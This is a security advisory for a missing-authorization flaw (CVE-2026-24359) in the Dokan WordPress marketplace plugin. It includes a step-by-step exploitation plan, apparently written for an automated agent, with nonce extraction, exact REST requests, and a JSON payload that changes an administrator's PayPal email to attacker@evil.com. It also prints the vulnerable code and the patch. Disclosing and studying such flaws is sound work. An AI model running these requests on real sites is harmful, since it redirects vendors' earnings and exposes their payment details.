Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 4.2.4 - Missing Authorization
Description
The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.2.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.2.5
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan: CVE-2026-24359 ## 1. Vulnerability Summary The **Dokan Lite** plugin (up to version 4.2.4) contains a missing authorization vulnerability (IDOR) within its REST API `settings` endpoint. The `WeDevs\Dokan\REST\StoreSettingController` class defines routes for re…
Show full research plan
Detailed Exploitation Research Plan: CVE-2026-24359
1. Vulnerability Summary
The Dokan Lite plugin (up to version 4.2.4) contains a missing authorization vulnerability (IDOR) within its REST API settings endpoint. The WeDevs\Dokan\REST\StoreSettingController class defines routes for retrieving and updating store settings. While it implements a permission_callback, the callback only verifies that the current requester is a logged-in user and that a "vendor" (user) exists for the provided ID. It fails to verify if the requester has permission to modify the specific vendor's settings.
This allow any authenticated user (e.g., a Subscriber) to view or modify the store settings (including PayPal/Bank payment details, store name, and address) of any other vendor or administrator on the site by specifying a vendor_id parameter.
2. Attack Vector Analysis
- Endpoint:
/wp-json/dokan/v1/settings - Method:
GET(for information disclosure) andPOST/PUT/PATCH(for unauthorized modification). - Vulnerable Parameter:
vendor_id(Query parameter). - Authentication: Required (Subscriber level or higher).
- Required Header:
X-WP-Nonce(standard WordPress REST API nonce).
3. Code Flow
- Registration: In
includes/REST/StoreSettingController.php, theregister_routes()method registers the/settingsendpoint. BothREADABLEandEDITABLEmethods useget_settings_permission_callbackas thepermission_callback. - Permission Check: The
get_settings_permission_callback()(line 144) calls$this->get_vendor(). - Vendor Retrieval (Flawed): The
get_vendor($request = null)method (line 164) prioritizes avendor_idparameter from the request. Ifvendor_idis provided, it fetches that user. If not, it uses the current user ID. - Authorization Failure:
- During the
permission_callback, the request object is typically passed but not explicitly used in the signature. The call$this->get_vendor()(no args) inside the callback defaults to the current user. Since the current user is logged in, they are considered a valid "vendor" by Dokan, and the check returnstrue. - During the actual action (e.g.,
update_settings), the controller calls$this->get_vendor( $request )(line 111). This time, it processes thevendor_idquery parameter, shifting the context to the target user.
- During the
- Execution:
update_settingscallsdokan()->vendor->update( $target_vendor_id, $params ), modifying the target user's metadata without verifying the relationship between the requester and the target.
4. Nonce Acquisition Strategy
The endpoint is a standard WordPress REST API route. To interact with it while authenticated via cookies, a wp_rest nonce is required.
- Identify Enqueue: Dokan's core scripts (like
core-store.js) usewp-api-fetch. These scripts are typically enqueued on the WordPress Dashboard or Dokan Vendor Dashboard. - Creation: No special shortcode is required as standard WordPress functionality enqueues the REST nonce for logged-in users in the admin area.
- Extraction:
- Login as a Subscriber.
- Navigate to
/wp-admin/. - Use
browser_evalto extract the nonce from the globalwpApiSettingsobject. - JS Command:
window.wpApiSettings?.nonce
5. Exploitation Strategy
Step 1: Information Disclosure (Optional but useful)
Retrieve sensitive settings (e.g., payment email) of the Administrator (usually ID 1).
- Request Tool:
http_request - Method:
GET - URL:
http://localhost:8080/wp-json/dokan/v1/settings?vendor_id=1 - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]
- Expected Response: JSON object containing the administrator's store settings, social links, and payment method info.
Step 2: Unauthorized Modification
Change the store name or payment email of the Administrator.
- Request Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-json/dokan/v1/settings?vendor_id=1 - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "store_name": "Hacked by Subscriber", "social": { "fb": "https://facebook.com/attacker" }, "payment": { "paypal": { "email": "attacker@evil.com" } } }
6. Test Data Setup
- Target: Ensure an Administrator user exists (User ID 1).
- Attacker: Create a user with the
subscriberrole. - Dokan Setup: Ensure Dokan Lite is active. The plugin automatically treats users as "vendors" for the purpose of the
settingsendpoint.
7. Expected Results
- The
GETrequest should return a200 OKwith a JSON payload containing details that a Subscriber should not see for another user. - The
POSTrequest should return a200 OKand a response body mirroring the updated data. - The database state for the target user (ID 1) should reflect the injected values.
8. Verification Steps
After performing the POST request, verify the change using WP-CLI:
# Check the target user's dokan_profile_settings meta
wp user meta get 1 dokan_profile_settings
Expected output: The store_name should be "Hacked by Subscriber" and the PayPal email should be updated.
9. Alternative Approaches
If vendor_id is not accepted as a query parameter in some environments, try including it in the JSON body:
{
"vendor_id": 1,
"store_name": "Hacked via Body Param"
}
If the wpApiSettings object is missing, the nonce can be found by searching the HTML source for "nonce":"..." within the script tags or by checking the X-WP-Nonce header in any network request made by the WordPress dashboard.
Summary
The Dokan Lite plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the REST API /settings endpoint. Authenticated attackers, including those with Subscriber-level access, can view or modify the store settings (such as PayPal email addresses and store names) of any other vendor or administrator by providing a target user ID in the 'vendor_id' parameter.
Vulnerable Code
// includes/REST/StoreSettingController.php lines 35-71 public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, [ [ 'methods' => WP_REST_Server::READABLE, 'callback' => [ $this, 'get_settings' ], 'permission_callback' => [ $this, 'get_settings_permission_callback' ], 'args' => [ 'vendor_id' => [ 'required' => false, 'type' => 'integer', 'validate_callback' => function ( $param ) { return is_numeric( $param ) && (int) $param > 0; }, 'description' => __( 'Optional vendor ID', 'dokan-lite' ), ], ], ], [ 'methods' => WP_REST_Server::EDITABLE, 'callback' => [ $this, 'update_settings' ], 'permission_callback' => [ $this, 'get_settings_permission_callback' ], 'args' => [ 'vendor_id' => [ 'required' => false, 'type' => 'integer', 'validate_callback' => function ( $param ) { return is_numeric( $param ) && (int) $param > 0; }, 'description' => __( 'Optional vendor ID', 'dokan-lite' ), ], ], ], ] ); } --- // includes/REST/StoreSettingController.php lines 124-138 public function get_settings_permission_callback() { $vendor = $this->get_vendor(); if ( is_wp_error( $vendor ) ) { return $vendor; } if ( empty( $vendor->get_id() ) ) { return new WP_Error( 'no_store_found', __( 'No vendor found', 'dokan-lite' ), [ 'status' => 404 ] ); } return true; } --- // includes/REST/StoreSettingController.php lines 147-166 protected function get_vendor( $request = null ) { $vendor_id = is_a( $request, \WP_REST_Request::class ) && $request->get_param( 'vendor_id' ) ? $request->get_param( 'vendor_id' ) : ''; if ( $vendor_id ) { $vendor = dokan()->vendor->get( (int) $vendor_id ); } else { $current_user = dokan_get_current_user_id(); if ( ! $current_user ) { return new WP_Error( 'Unauthorized', __( 'You are not logged in', 'dokan-lite' ), [ 'code' => 401 ] ); } if ( $current_user ) { $vendor = dokan()->vendor->get( $current_user ); } } return $vendor; }
Security Fix
@@ -124,8 +124,8 @@ * * @return bool|WP_Error */ - public function get_settings_permission_callback() { - $vendor = $this->get_vendor(); + public function get_settings_permission_callback( $request ) { + $vendor = $this->get_vendor( $request ); if ( is_wp_error( $vendor ) ) { return $vendor; @@ -135,6 +135,10 @@ return new WP_Error( 'no_store_found', __( 'No vendor found', 'dokan-lite' ), [ 'status' => 404 ] ); } + if ( ! current_user_can( 'manage_options' ) && dokan_get_current_user_id() !== $vendor->get_id() ) { + return new WP_Error( 'dokan_rest_cannot_view', __( 'Sorry, you are not allowed to view or edit these settings.', 'dokan-lite' ), [ 'status' => rest_authorization_required_code() ] ); + } + return true; }
Exploit Outline
1. Authenticate to the WordPress site as a low-privileged user (e.g., Subscriber). 2. Obtain a valid REST API nonce (X-WP-Nonce) from the dashboard's HTML source or global JS objects (window.wpApiSettings.nonce). 3. To disclose sensitive store data of another user (e.g., the Administrator with ID 1), send a GET request to `/wp-json/dokan/v1/settings?vendor_id=1` with the nonce header. 4. To modify the target's settings, send a POST/PUT request to `/wp-json/dokan/v1/settings?vendor_id=1` with a JSON payload containing fields to change, such as 'payment' -> 'paypal' -> 'email' to redirect vendor earnings to the attacker's account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.